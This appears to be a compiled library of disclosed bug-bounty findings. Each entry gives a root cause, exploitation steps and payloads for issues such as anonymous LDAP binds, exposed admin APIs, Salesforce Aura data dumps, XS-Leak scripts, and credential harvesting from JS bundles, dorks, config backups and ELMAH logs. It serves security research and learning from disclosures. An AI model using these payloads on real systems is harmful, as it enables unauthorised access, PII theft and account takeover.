- Find LDAP services (389/tcp, 636/tcp ldaps) on the target
- Bind anonymously (empty credentials) and read server.info / root DSE (naming contexts, supported controls)
- Run subtree searches under disclosed naming contexts to enumerate users/OU data
python3 - <<'PY'
import ldap3
s = ldap3.Server('TARGET', get_info=ldap3.ALL, port=636, use_ssl=True)
c = ldap3.Connection(s)
print(c.bind()) # True -> anonymous bind allowed
print(s.info) # naming contexts, controls
c.search('dc=example,dc=com','(objectClass=person)',attributes=['cn','mail'])
print(c.entries)
PY
# or: ldapsearch -x -H ldaps://TARGET:636 -b '' -s base '(objectclass=*)'
Insight — On any exposed 389/636, try an anonymous bind first: even without user records, the root DSE naming contexts hand you the correct base DN for follow-up subtree queries and reveal AD/OpenDJ topology.
Real-world example
Unauthenticated internal admin/IAM API dumps user PII
◆ High
Specimen #1218461 · gsa_vdp · none · 8 votes · resolved
Program gsa_vdpSurface api
Root cause
An internal 'system accounts' management REST endpoint was reachable without authentication and returned the full application objects: user emails, admins/managers, org details, IP addresses, physical locations, and okta usage.
Method
- Enumerate JSON API paths under the app (here /api/prod/iam/cws/v1/applications/).
- Request the collection endpoint with no auth header.
- Receive an array of application objects containing PII (mail, uid, systemManagers, ipAddress, physicalLocation).
GET /api/prod/iam/cws/v1/applications/ HTTP/1.1
Host: sam.gov
# returns objects like:
# {"systemManagers":"[{\"mail\":\"...@gmail.com\",\"name\":\"James Bond\"}]","ipAddress":"...","physicalLocation":"...","migratedToOkta":false}
Insight — IAM/admin/'system account' collection endpoints are frequently protected only at the UI layer. Directly hit the underlying REST collection (/api/.../applications, /users, /accounts) with no session - excessive-data-exposure objects often leak far more fields than the UI renders.
Real-world example
Signed-URL hijack via unsigned response-content-type + AppCache + cookie bombing (CVE-2018-16477)
◆ High
Specimen #407319 · rails · none · 7 votes · resolved
Program railsSurface webChain unsigned-URL-param -> inline stored HTML/XSS in storage oTag cloud-gcp
Root cause
When response-content-type/response-content-disposition query params are NOT part of the signed portion of a storage URL (GCS, Rails DiskService), an attacker rewrites an uploaded blob to be served inline as text/html, enabling stored HTML/JS in the storage origin.
Method
- Upload attacker HTML as a blob; take its signed service URL and flip response-content-type=text/html and response-content-disposition=inline (params are unsigned, so still valid)
- Upload an AppCache manifest whose FALLBACK points at that HTML; serve it inline as text/cache-manifest
- Upload main.html referencing the manifest; its JS cookie-bombs the storage origin (thousands of large cookies)
- Victim opens main.html inline; next request to the bucket fails on oversized headers -> browser treats origin as offline -> AppCache FALLBACK serves attacker HTML which reads and exfiltrates the signed URL (location.href)
CACHE MANIFEST
FALLBACK:
/bucket_name/ [signed_fallback_html_url]
<!-- cookie bomb -->
<script>setTimeout(function(){for(var i=1e3;i>0;i--){document.cookie=i+'='+Array(4e3).join('0')+'; path=/'}},3000)</script>
Insight — Whenever a presigned/HMAC storage URL has content-type/content-disposition supplied as UNSIGNED query params, you can force inline HTML rendering in the storage origin; combine with AppCache FALLBACK + cookie bombing to hijack same-origin private signed URLs. Azure/S3 sign these params and are not affected.
Real-world example
Hardcoded auth password in client-side JavaScript
◆ High
Specimen #991718 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface web
Root cause
A client-side gate validates a prompt() password against a string baked into a JS bundle; the secret ships to the browser, so anyone reading the source obtains the credential.
Method
- Open DevTools -> Network, reload, and read the app's JS chunks (*.chunk.js)
- Search bundles for prompt(, password, ==, atob(, or literal comparison strings
- Extract the literal and submit it at the gate
# in main.<hash>.chunk.js
(n=prompt("Enter Password","Password"), o==="SECRET_HERE") // client-side password check
# grep the bundle:
curl -s https://TARGET/static/js/main.*.chunk.js | grep -iE 'prompt\(|password|atob'
Insight — Any authentication/authorization decision made in front-end JS is broken by design; beautify and grep every bundle for hardcoded passwords, API keys, tokens, and internal endpoints. 'Client-side password' == public password.
Real-world example
Credential leak to third-party host + scheme downgrade on redirect (curl CVE-2022-27774)
◆ High
Specimen #1543773 · curl · none · 7 votes · resolved
Program curlSurface other
Root cause
curl follows an HTTP(S) redirect to a different host and different scheme (ftp://) while still attaching the user-supplied credentials, sending secrets to an unexpected host over an insecure channel despite docs claiming creds stay on the initial host.
Method
- Stand up firstsite that 301-redirects (e.g. UA-gated) to ftp://secondsite:9999
- Listen on secondsite to capture USER/PASS
- Run curl -L --user foo https://firstsite/redirectpoc and read the captured credentials
# firstsite mod_rewrite:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
# capture:
while true; do echo -e "220 x\n331 x\n530 x" | nc -l -p 9999; done
curl -L --user foo https://firstsite.tld/redirectpoc
Insight — When testing HTTP clients / server-side fetchers, chain a redirect to a DIFFERENT host and a DOWNGRADED scheme (https->ftp/http) and watch whether Authorization/credentials follow. Cross-host + cross-scheme credential forwarding is a recurring leak in curl-like fetch stacks.
Real-world example
Firefox WebExtension per-install UUID as cross-site supercookie
◆ High
Specimen #337189 · bitwarden · none · 7 votes · resolved
Program bitwardenSurface webChain web_accessible_resource -> readable moz-extension UUID -&Tag webhook
Root cause
Firefox assigns each extension install a unique random moz-extension:// UUID; when the extension exposes a web_accessible_resource (e.g. an injected prompt page) that a web page can reference, the page and any third-party script on it can read that stable UUID, turning it into a persistent user identifier.
Method
- Identify a web_accessible_resource the extension loads into pages (here moz-extension://UUID/bar.html?add=1).
- From an arbitrary web page, read the UUID from the injected resource URL.
- Use the UUID as a supercookie: it is stable across private mode, restart, history/localStorage clearing, and update; only reinstall changes it.
- A common third-party script (T.com) present on multiple sites reads the same UUID -> cross-site tracking bypassing cookie controls.
moz-extension://<PER-INSTALL-UUID>/bar.html?add=1 // readable from page JS -> stable user id
Insight — Auditing browser extensions: any web_accessible_resource on Firefox leaks the per-install UUID to page/3rd-party JS, enabling extension fingerprinting (proves which extension is installed) and a tracking-protection-proof supercookie. Minimize web_accessible_resources; don't inject extension-hosted pages into arbitrary sites.
Real-world example
Exposed Adobe AEM CRXDE Lite / CRX repository browser -> PII
◆ High
Specimen #1095830 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface web
Root cause
Adobe Experience Manager's CRXDE Lite / CRX developer console (repository browser + query tool) left reachable by unauthenticated users, exposing JCR content including admin/user nodes and PII.
Method
- Fingerprint AEM (look for /libs/, /etc/, /content/ paths, dispatcher behavior)
- Visit CRXDE Lite console (e.g. /crx/de/index.jsp) or /crx/de
- Use the query tool to search for 'admin' or user nodes
- Hit the returned JCR/JSON node endpoint to read the content (e.g. node.json)
# AEM unauth surfaces worth probing
/crx/de/index.jsp
/crx/de
/bin/querybuilder.json?path=/home/users&p.limit=-1
/content/usergenerated.json
<node>.json # dump any JCR node as JSON
Insight — On any AEM target, always probe the CRXDE/CRX consoles and QueryBuilder JSON endpoints unauthenticated; misconfigured dispatchers routinely expose the repository browser, which then leaks user/PII nodes.
Real-world example
wp-config.php served as plaintext -> DB credentials & secret keys
◆ High
Specimen #3328408 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webChain leaked DB creds/salts -> DB access or forged auth cookies
Root cause
A copy/backup of wp-config.php was served as static text (misconfigured handler / .bak / stray copy), exposing DB_HOST/DB_USER/DB_PASSWORD and WordPress auth salts in cleartext.
Method
- Enumerate config/backup filenames on the WP host
- Request wp-config.php variants and check for readable PHP source (not executed)
- Extract DB_HOST, DB_USER, DB_PASSWORD, AUTH keys from the response
- Assess DB reachability / cookie forgery via the salts
# common wp-config exposure paths
/wp-config.php.bak
/wp-config.php~
/wp-config.php.save
/wp-config.php.txt
/wp-config.php.old
/.wp-config.php.swp
/wp-config.php.orig
Insight — Always brute config/backup variants (.bak .save ~ .old .txt .swp .orig) of sensitive PHP files; a single readable wp-config.php yields DB creds and the auth salts needed to forge login cookies.
Real-world example
Directory listing exposing build/CI artifacts with secrets
◆ High
Specimen #43998 · vimeo · awarded · 5 votes · resolved
Program vimeoSurface webChain leaked DB passwords/API keys -> lateral access to prod se
Root cause
A CI/build server (ci.<target>) had Apache directory listing enabled and hosted deployable packages (.deb) whose config files contained database passwords and API keys.
Method
- Enumerate infra subdomains (ci., build., jenkins., artifacts., gateway., repo.)
- Request the web root and look for directory index (Index of /)
- Download package/config artifacts (.deb, .zip, config bundles) and grep for passwords/keys
# subdomains + dork
site:TARGET intitle:"index of"
# fetch and inspect artifacts
curl -s https://ci.TARGET/ | grep -Eo 'href="[^"]+"'
dpkg -x config_*.deb out/ && grep -RniE 'password|api_key|secret' out/
Insight — Infra/CI subdomains with directory listing are goldmines: deployment packages and config bundles routinely embed DB passwords and API keys. Always enumerate ci/build/artifact hosts and check for 'Index of /'.
Real-world example
Salesforce Aura getItems dumps full sObject records to guest users
◆ High
Specimen #1443654 · gsa_vdp · none · 5 votes · resolved
Program gsa_vdpSurface web
Root cause
Salesforce Lightning/Aura sites expose the generic selectableListDataProvider getItems action; with a large pageSize and FULL layout it returns entire objects (Contact/Account/User) to any guest/authenticated user because object/field-level security is misconfigured.
Method
- Register/verify an account on the Salesforce Experience/Lightning site
- Find any POST to /s/sfsites/aura in proxy history (grab aura.context + aura.token)
- Replace the message action with the selectableListDataProvider getItems descriptor targeting entityNameOrId=Contact, pageSize=1000, layoutType=FULL
- Replay to receive up to 1000 full Contact records (PII)
POST /s/sfsites/aura?other.SelectableList.getItems=1 HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
message={"actions":[{"id":"261;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId":"Contact","pageSize":1000,"currentPage":1,"getCount":true,"layoutType":"FULL","enableRowActions":true,"useTimeout":false}}]}&aura.context=<KEEP>&aura.token=<KEEP>
Insight — Any Salesforce Aura/Experience site (/s/sfsites/aura endpoint) is a prime target: swap entityNameOrId across Contact, Account, User, Case, Opportunity and abuse getItems/getRecord to pull records the org forgot to lock with object/field-level security. Tools: aura-dump / careful manual descriptor crafting.
Real-world example
.NET Remoting ObjRef URI disclosure via *.rem?wsdl (CVE-2024-29059)
◆ High
Specimen #2471924 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webChain ObjRef disclosure -> .NET Remoting ObjectDataProvider des
Root cause
ASP.NET apps using HTTP .NET Remoting leak internal ObjRef URIs when the remoting endpoint is queried with ?wsdl; the disclosed .rem URL then accepts a SOAP TextFormattingRunProperties/ObjectDataProvider gadget, enabling .NET Remoting deserialization attacks and possible unauthenticated RCE.
Method
- Send GET to the remoting metadata endpoint with __RequestVerb: POST and ?wsdl to leak the ObjRef .rem URL
- POST a SOAP envelope carrying a TextFormattingRunProperties + ObjectDataProvider gadget to that .rem URL
- Gadget invokes HttpContext.Current.Response.AddHeader (PoC) / arbitrary method -> deserialization RCE surface
GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: TARGET
Content-Type: text/xml
__RequestVerb: POST
# then POST the leaked .rem with SOAPAction: "" and a
# TextFormattingRunProperties/ObjectDataProvider XAML gadget
# (see code-white 'Leaking ObjRefs to exploit HTTP .NET Remoting')
Insight — On IIS/ASP.NET targets, probe for *.rem / *.soap endpoints and append ?wsdl (with __RequestVerb: POST) to surface HTTP .NET Remoting objects; a leaked ObjRef is a direct path to ObjectDataProvider deserialization RCE.
Real-world example
curl heap out-of-bounds read leaking adjacent memory (--write-out and URL globbing)
◆ High
Specimen #212931 · ibb · awarded · 5 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
curl parsing routines read one byte past the end of a heap strdup() buffer: a trailing % in --write-out skips the NUL and keeps reading, and the URL-glob range parser (glob_range) reads a byte beyond a malformed [N-...] range. Because the buffer is heap-allocated, the over-read can surface adjacent memory (up to the next NUL) in output.
Method
- Supply a --write-out format string ending in a bare % (e.g. via -K config), or a globbing URL with an unterminated numeric range
- curl reads past the buffer end; ASan reports heap-buffer-overflow READ of size 1
- Adjacent heap contents (potentially a secret/password) get emitted in the --write-out output
# --write-out trailing % OOB read (#212931)
curl -q -w '%' https://TARGET
# URL globbing OOB read (#255587, CVE-2017-1000101)
curl -q 'http://ur%20[0-60000000000000000000'
Insight — Trailing/format sentinel characters (%, unterminated ranges) that make a parser 'read one more' are a classic heap over-read primitive; when the tool prints what it read, an OOB read becomes an info leak, not just a crash. Test any string-format or range-expansion feature with a value that ends exactly at the delimiter.
Real-world example
ServiceNow email-notification 'Preview Notification' leaks all-user PII
◆ High
Specimen #905688 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
ServiceNow email-notification admin modules (e.g. sysevent_email_action.do) were reachable by any authenticated low-priv user; the Preview Notification feature lets you pick any user and render their full profile (name, rank, org, email, address, phone).
Method
- Register / sign in as any low-privilege user on the ServiceNow instance.
- Browse to the email-notification list module (sysevent_email_action.do / equivalent .do page).
- Open any notification, click 'Preview Notification'.
- Use the recipient field to query any user, then click the (i) info icon to view their PII.
https://TARGET/sysevent_email_action.do # + Preview Notification -> choose target user
Insight — On ServiceNow targets, enumerate the *.do admin/UI modules directly (nav_to.do, sys_user_list.do, sysevent_email_action.do); default ACLs frequently leave preview/report modules readable to non-admins and let them render other users' records.
Real-world example
NoSQL operator injection: ACL on findOneById, data query accepts rid[$regex]
◆ High
Specimen #1446767 · rocket_chat · none · 4 votes · resolved
Program rocket_chatSurface apiTag account-takeover
Root cause
chat.getThreadsList runs the ACL check with Rooms.findOneById(rid) (single, exact match) but reuses the raw rid object in the Messages.find() query. Passing rid as a Mongo operator object (e.g. rid[$regex]) makes the ACL match an allowed room while the data query returns messages from other rooms.
Method
- Authenticate as a normal user; obtain X-User-Id / X-Auth-Token.
- Call chat.getThreadsList with rid supplied as an operator object matching an allowed room (GENERAL) OR the target room.
- Read the first-returned thread; storage order means the ACL-passing room must predate the target.
GET /api/v1/chat.getThreadsList?rid[$regex]=GENERAL|TARGET_ROOM_ID
Headers: X-User-Id, X-Auth-Token
# threads[] includes the private target room's messages
Insight — When params are consumed as query fragments (Mongo/Mongoose), submit operator objects (param[$regex]/[$ne]/[$in]). Especially check for the pattern where an authz check uses an *exact* lookup but the data fetch reuses the *same untyped* parameter permissively.
Real-world example
AWS Firehose secret access key base64-embedded in a public JS file
◆ High
Specimen #2914739 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webTag cloud-aws
Root cause
A public front-end JavaScript file (/error_docs/uat.js) contained a base64-encoded AWS secret access key for a Firehose delivery stream, with permission to PutRecord.
Method
- Enumerate/crawl static JS assets (including error_docs and build artifacts).
- Grep the JS for base64 blobs / AWS key patterns and decode them.
- Confirm scope by using the key against the target service (e.g. firehose PutRecord).
# harvest + decode secrets from JS
curl -s https://TARGET/error_docs/uat.js | grep -Eo '[A-Za-z0-9+/]{40,}={0,2}' | while read b; do echo "$b" | base64 -d 2>/dev/null; echo; done
# then: aws firehose put-record --delivery-stream-name STREAM --record ...
Insight — Always scrape every JS file (not just main bundles) for base64/hex-encoded secrets; encoding is not protection. AWS keys with even a single write permission (PutRecord) are a reportable finding.
Real-world example
node base64url numeric input -> uninitialized Buffer disclosure
◆ High
Specimen #321687 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
base64url passes a number straight to new Buffer(number) on Node <=4.x, which allocates an uninitialized buffer of that size. Typed user input (a JSON number instead of a string) makes the module return uninitialized heap memory (sensitive-data disclosure) or allocate huge buffers for DoS.
Method
- Send JSON where a field expected to be a string is a number to code calling base64url.encode/decode
- new Buffer(number) allocates uninitialized memory on Node <=4.x
- The uninitialized bytes are encoded back to the attacker; large numbers cause DoS
require('base64url').encode(1000) // leaks uninitialized memory
require('base64url').encode(1e8) // memory/CPU DoS
Insight — JSON lets an attacker substitute a number where a string is expected. Any Node lib forwarding input to Buffer/new Buffer without a type check hits the uninitialized-alloc (or huge-alloc) path on old Node. Test type-confusion (number/object/array) against Buffer-handling APIs.
Real-world example
Google dorking for credentials embedded in published documents
◆ High
Specimen #672629 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain indexed document -> plaintext creds -> access to refer
Root cause
Training/operational documents (PPT/PDF/DOC) containing plaintext usernames and passwords are indexed by search engines, so a targeted filetype+keyword dork surfaces live credentials without touching the target.
Method
- Run filetype dorks scoped to the target's domains, combining doc extensions with credential keywords.
- Open indexed docs and scan slides/pages for username/password pairs (training and setup guides are worst).
- Map the leaked creds to the referenced login portal; report without logging in unless authorized.
site:*.target.mil ext:ppt intext:password
site:target.com ext:pdf (intext:password OR intext:username)
site:target.com ext:docx intext:"login"
site:target.com ext:xls intext:pass
Insight — Passive doc-dorking is one of the highest-ROI recon moves: no requests to the target, and documents frequently embed still-valid credentials for referenced systems. Rotate extensions (ppt/pdf/docx/xls) and credential synonyms.
Real-world example
Recon pivot: origin IP -> subdomain -> TLS cert CN -> GitHub code search -> committed admin creds
◆ High
Specimen #799898 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain IP/subdomain -> TLS cert CN -> GitHub commit with credTag account-takeoverTag supply-chain
Root cause
A private GitLab EE instance was fronted by an IP/subdomain whose TLS certificate exposed the internal hostname; searching GitHub for that hostname surfaced a commit containing service credentials, and the default GitLab EE admin username with that password granted full admin access.
Method
- From an in-scope IP, recover hosted subdomains (DNS history) and pull the TLS certificate; note the CN/SAN internal hostname.
- Search GitHub (and Gists) for that hostname / project name string.
- Read matching commits for embedded creds (Jenkins/CI env vars, k8s manifests: JENKINS_OC_PASSWD, etc.).
- Try the leaked password with the platform's default admin username against the login.
# 1) fingerprint origin
curl -skI https://ORIGIN_IP/ # 301 -> internal hostname
openssl s_client -connect ORIGIN_IP:443 </dev/null 2>/dev/null | openssl x509 -noout -subject
# 2) github code search on the CN string
# https://github.com/search?q=%22internal-host.example%22&type=code
# 3) creds found in a committed manifest:
# - name: JENKINS_OC_USER value: <user>
# - name: JENKINS_OC_PASSWD value: <pass>
# 4) default gitlab admin (root/administrator) + that password -> full admin
Insight — TLS certificate subjects are a free bridge from anonymous infra to identifiable project names, and those names are searchable on GitHub. Chain cert-CN -> code search -> committed secrets -> default admin usernames; password reuse across an org multiplies the impact.
Real-world example
Recoverable password storage even when the feature is disabled
◆ High
Specimen #867164 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface web
Root cause
The External storage app writes every user's login password into the oc_credentials table in a recoverable (decryptable-with-server-config) form even when the 'save login credentials in database' option is not used, so any admin/DB reader can recover all users' passwords.
Method
- Enable the files_external (External storage support) app.
- Have users log in.
- Inspect oc_credentials: password::logincredentials/credentials now holds each user's recoverable password.
- With DB + Nextcloud config access, decrypt any user's password.
SELECT * FROM oc_credentials WHERE identifier='password::logincredentials/credentials';
Insight — Audit whether apps persist plaintext-equivalent credentials as a side effect of a feature that the user never opted into. 'Recoverable' storage (reversible encryption keyed by on-box config) is effectively cleartext to anyone with server access.
Real-world example
Publicly accessible sensitive files (README/config/PDF) leak credentials and PII
◆ High
Specimen #804980 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webChain exposed README -> hardcoded dashboard creds -> authent
Root cause
Files that were meant to be internal (a README containing dashboard login credentials; document libraries holding personnel PDFs) are served without authentication, so anyone who requests the URL obtains credentials or personal data.
Method
- Enumerate common doc/artifact paths (README.md, config files, /Documents/ libraries, /sites/*/Documents)
- Fetch and read the file directly, no auth
- Extract embedded credentials (username/password) or personal data (names, emails, ranks, phone)
GET https://TARGET/README.md # contains dashboard username + password (#804980)
# Also seen: public Navy PDF leaking trainee PII (#812585); public sensitive doc (#1300589)
Insight — Directory/library exposure plus 'nobody will find this URL' is a recurring high-impact leak, especially on large orgs and SharePoint-style /sites/*/Documents/ paths. Grep discovered README/config files for hardcoded creds (they escalate an info-leak to access), and treat any exposed personnel document as a privacy/impersonation finding. Combine with the exposed-dev-artifact wordlist from #62778.
Real-world example
GraphQL param coerced to 'undefined' leaks other users' data
◆ High
Specimen #473742 · starbucks · awarded · 144 votes · resolved
Program starbucksSurface graphqlTag graphql
Root cause
A modified GraphQL query produced a backend REST call with the string 'undefined' as the username parameter; the backend returned address-book entries for accounts stored under that literal value.
Method
- Take an address-book GraphQL query and remove/blank the identifying variable
- Backend integration forwards it as literal 'undefined'
- Response returns address entries of accounts keyed by 'undefined'
Insight — Try sending null / removing variables / literal 'undefined' to GraphQL and REST params; broken null-handling in a GraphQL->REST bridge can return a shared bucket of other users' data.
Real-world example
Password-reset recovery flow exposes account phone number in input field
◆ High
Specimen #2534458 · linkedin · awarded · 110 votes · resolved
Program linkedinSurface webChain email -> full phone number -> enables SIM-swap / 2FA-bTag account-takeover
Root cause
The 'can't access this email' branch of password recovery pre-populates the phone-recovery step with the account's phone number in a form input's value, so an attacker who only knows the victim's email reads the full number from the rendered HTML.
Method
- Start password reset with the victim's email
- Proceed until code sent, then click 'can't access this email'
- Reach the phone-recovery step and read the phone number from the input tag value (visible in-page / in HTML)
Insight — Account-recovery flows over-trust the email-knower and pre-fill masked contact fields; inspect the HTML value/attributes of every recovery step - masked phone/email is often present in full server-side-rendered markup.
Real-world example
Uninitialized network-packet memory leaks pointer (ASLR bypass)
◆ High
Specimen #3463719 · nintendo · awarded · 74 votes · resolved
Program nintendoSurface networkChain packet infoleak -> ASLR bypass -> enables memory-corru
Root cause
A network packet (LAN mode) contains uninitialized buffer memory, leaking a valid memory address to peers and thereby defeating ASLR - a precondition for reliable memory-corruption exploitation.
Method
- Capture packets emitted by the target over LAN/network mode
- Diff fields that should be constant/zero across captures for entropy that looks like a pointer
- Recover the leaked address to defeat ASLR before a follow-on corruption exploit
Insight — Any struct serialized to the wire is an info-leak surface: fields that are never explicitly initialized carry stale heap/stack bytes. Watch for high-entropy 'reserved/padding' fields that resemble pointers.
Real-world example
Editable Google Forms/Docs link leaked in JS bundle
◆ Medium
Specimen #2180521 · security · awarded · 216 votes · resolved
Program securitySurface web
Root cause
A JS chunk file contained a Google Forms /edit link, granting anyone edit access to the form and read access to respondents' emails and answers.
Method
- Continuously diff/monitor the app's JS bundles for new URLs
- Grep for docs.google.com/forms|spreadsheets links, esp. /edit
- Open the link; check for edit/response access
grep -oE 'https://docs.google.com/[^"[:space:]]+' app.chunk.js
Insight — JS bundles accumulate hardcoded third-party links; an /edit Google Docs/Forms URL is effectively a public credential to the document and its responses. Monitor JS over time, not just once.
Real-world example
XS-Leak: script onload/onerror oracle deanonymizes a logged-in user by ID
◆ Medium
Specimen #505424 · x · USD 1470 · 153 votes · resolved
Program xSurface webTag account-takeover
Root cause
An auth-gated endpoint returns HTTP 200 (valid JS) when the requested USER_ID equals the visitor's own logged-in ID and 403 (parse error) otherwise; loading it as a <script> turns that status difference into an onload/onerror cross-origin oracle.
Method
- Find an endpoint whose success/failure depends on the visitor's authenticated identity
- Inject it as a <script src> from an attacker page with the target ID
- onload fires => ID matches the current visitor; onerror => mismatch
var id='TARGET_ID';
var s=document.createElement('script');
s.src=`https://developer.twitter.com/api/users/${id}/client-applications.json`;
s.onload=()=>console.log('ID match');
s.onerror=()=>console.log('ID mismatch');
document.head.appendChild(s);
Insight — Any endpoint whose response validity (200 vs error, JS-parseable vs not) is keyed to the viewer's session is an XS-Leak oracle - probe it with script/img/link onload/onerror to confirm or enumerate identity cross-site.
Real-world example
Profile bug-count increment as an oracle for private program existence
◆ Medium
Specimen #410015 · security · USD 3000 · 146 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Creating an external report against a handle credits the author's public 'Bugs found' counter; the counter only increments for real (non-sandbox) programs, so the delta reveals whether a given external handle backs a private program.
Method
- Note your profile 'Bugs found' count
- Submit a createExternalReport mutation against the target handle
- Reload your profile: count +1 => real/private program exists; unchanged => sandbox/none
mutation Create_external_report_mutation($input_0:CreateExternalReportInput!){createExternalReport(input:$input_0){was_successful,new_report{node{_id}}}}
// variables.input_0.handle = TARGET_HANDLE
Insight — Side-channel counters (profile stats, notification counts, quota usage) leak boolean facts about hidden objects. When a direct query is blocked, look for an indirect numeric state that changes as a function of the secret.
Real-world example
WordPress REST user enumeration
◆ Medium
Specimen #768151 · deptofdefense · none · 145 votes · resolved
Program deptofdefenseSurface web
Root cause
Default WordPress exposes the REST API user route without auth, disclosing user id/slug/display name for enumeration.
Method
- Request /wp-json/ to map routes
- Hit /wp-json/wp/v2/users to list users (id, name, login slug)
- Feed logins into targeted brute force
GET /wp-json/wp/v2/users
Insight — On any WordPress target, check /wp-json/ and /wp-json/wp/v2/users first for authless username disclosure. (The report's CORS+withCredentials framing is not a real cross-origin leak; the value is the recon primitive.)
Real-world example
Jenkins user API (/user/<name>/api/xml) exposes email addresses
◆ Medium
Specimen #221869 · homebrew · none · 145 votes · resolved
Program homebrewSurface webTag account-takeover
Root cause
A public Jenkins instance exposes the per-user REST/XML API, which returns the user's email address; iterating over /user/ enumerates emails for every user.
Method
- Locate a public Jenkins (ci.*, jenkins.*)
- List users at /user/
- Fetch /user/<name>/api/xml (or /api/json) and read the email/property fields
GET https://jenkins.TARGET/user/USERNAME/api/xml
Insight — Public CI/dashboards (Jenkins, SonarQube, Grafana) ship machine-readable APIs that leak PII the HTML UI hides. Always append /api/xml or /api/json to user/object endpoints.
Real-world example
Disclose any user's private email via report-participant API activity
◆ Medium
Specimen #196655 · security · awarded · 139 votes · resolved
Program securitySurface apiTag account-takeover
Root cause
Inviting a user as a participant records an 'external-user-invited' activity whose payload contains the invitee's private email; fetching the report over the REST API returns that activity with the email in cleartext.
Method
- Create a sandbox program/report you control
- Add the victim (by username) as a participant
- Generate an API token
- GET the report via API and read activities[].attributes.email
curl "https://api.hackerone.com/v1/reports/REPORT_ID" -u "api_id:token"
// response: activities.data[].attributes.email = victim email
Insight — UI hides a field but the underlying API/activity feed returns it in full. After any 'invite/add participant/share' action, diff the web view against the raw API/JSON payload for unmasked PII.
Real-world example
Search word-oracle over stale search vectors of limited-disclosure reports
◆ Medium
Specimen #685909 · security · awarded · 127 votes · resolved
Program securitySurface web
Root cause
The Hacktivity full-text search index (search vector) was backfilled from report titles/bodies but not re-synced when a title was later edited/redacted; searching returns hits for words that are no longer visible, letting an attacker brute-force hidden content word-by-word.
Method
- Find a limited-disclosure report that still appears for a keyword not in its public text
- Append candidate words from a wordlist and keep only queries that still return that single report
- Reconstruct hidden title/description words from the surviving query set
# iterate a wordlist, keep words that keep the target report in results
search: "<known keyword> <candidate word>" -> report still returned => candidate word is present
Insight — Any search/autocomplete/index that is not invalidated on edit becomes a confirmation oracle for redacted data. Test whether removing text from an object actually purges it from search/cache/derived indexes.
Real-world example
Directory listing of /scripts/ exposes shell scripts with DB credentials
◆ Medium
Specimen #291057 · valve · awarded · 121 votes · resolved
Program valveSurface web
Root cause
A cleanup script deleted sensitive backup artifacts but left the /scripts/ directory itself listable; the .sh setup scripts (served as text) contain hardcoded MySQL DBUSER/DBPASS/HOSTNAME.
Method
- Probe common ops/backup dirs (/scripts/, /backup/, /.git/, /old/) for autoindex
- Download listed .sh/.sql/.env files (served as plaintext)
- Grep for DBUSER/DBPASS/password/HOSTNAME
GET https://TARGET/scripts/ # directory listing
GET https://TARGET/scripts/wiki_setup.sh # DBUSER=..., DBPASS=...
Insight — Cleanup/backup automation often protects the payload files but forgets the containing directory. Always test for autoindex on ops/script/backup paths and read the setup/deploy scripts for embedded creds.
Real-world example
Cross-origin script import of dynamic sw.js leaks victim userId
◆ Medium
Specimen #2244229 · x · USD 1500 · 114 votes · resolved
Program xSurface webTag account-takeover
Root cause
A JS file (sw.js) is served with content that varies by the requester's auth cookie, writing the user's ID into a global (self.__INITIAL_STATE__); since SOP does not apply to <script> imports, a cross-domain page can import it and read the global to deanonymize the visitor.
Method
- Confirm a same-site JS URL whose body changes when authenticated (embeds userId/username)
- From an attacker page, load it via <script src>
- Read the exposed global (self.__INITIAL_STATE__.userId)
- Resolve username/PII via the public API
<script src="https://twitter.com/sw.js"></script>
<script>console.log(self.__INITIAL_STATE__.userId)</script>
Insight — Never serve per-user/authenticated data in a .js response - JS imports ignore SOP. Hunt for dynamically-generated scripts (service workers, config.js, bootstrap bundles) that embed the session's identity and import them cross-origin.
Real-world example
Secrets logged in plaintext in Apache Airflow DAG run logs
◆ Medium
Specimen #2828271 · ibb · awarded · 112 votes · resolved
Program ibbSurface webChain log-leaked Fernet key -> decrypt all stored Airflow conneTag supply-chain
Root cause
Airflow writes passwords, connection secrets, and the Fernet key in cleartext into DAG run/task logs instead of masking them; any user (or unauthorized viewer) with log access recovers the secrets (CVE-2024-45784).
Method
- Access DAG/task run logs in the Airflow UI or on disk
- Search log output for passwords, connection strings, and the Fernet key
- Use the Fernet key to decrypt stored connection/variable secrets
# grep task logs for leaked material
grep -Ei 'password|secret|fernet|conn_id' $AIRFLOW_HOME/logs/**/*.log
Insight — Orchestrators/CI (Airflow, Jenkins, GitHub Actions) frequently under-mask secrets in logs. Treat run logs as a secret sink; the Fernet/encryption key in logs is catastrophic - it decrypts the whole secrets store.
Real-world example
Unauthenticated ELMAH error log (elmah.axd) exposes admin sessions
◆ Medium
Specimen #2891449 · yelp · awarded · 111 votes · resolved
Program yelpSurface webChain exposed elmah.axd -> read admin request with Cookie headeTag account-takeover
Root cause
The ASP.NET ELMAH error-logging handler is exposed without access control on an internal admin API; its logs contain full HTTP requests including admin cookies/tokens, enabling session hijack/ATO.
Method
- Identify the internal admin app (e.g. proze.<target>.com/app/login)
- Browse /tmwebapi/elmah.axd?page=1&size=100 to list logged requests
- Open a log detail (elmah.axd/detail?id=<guid>) to read the full request incl. cookies/secrets
- Replay the admin cookie for full ATO
GET /elmah.axd?page=1&size=100 HTTP/1.1
Host: TARGET
# then: /elmah.axd/detail?id=<GUID>
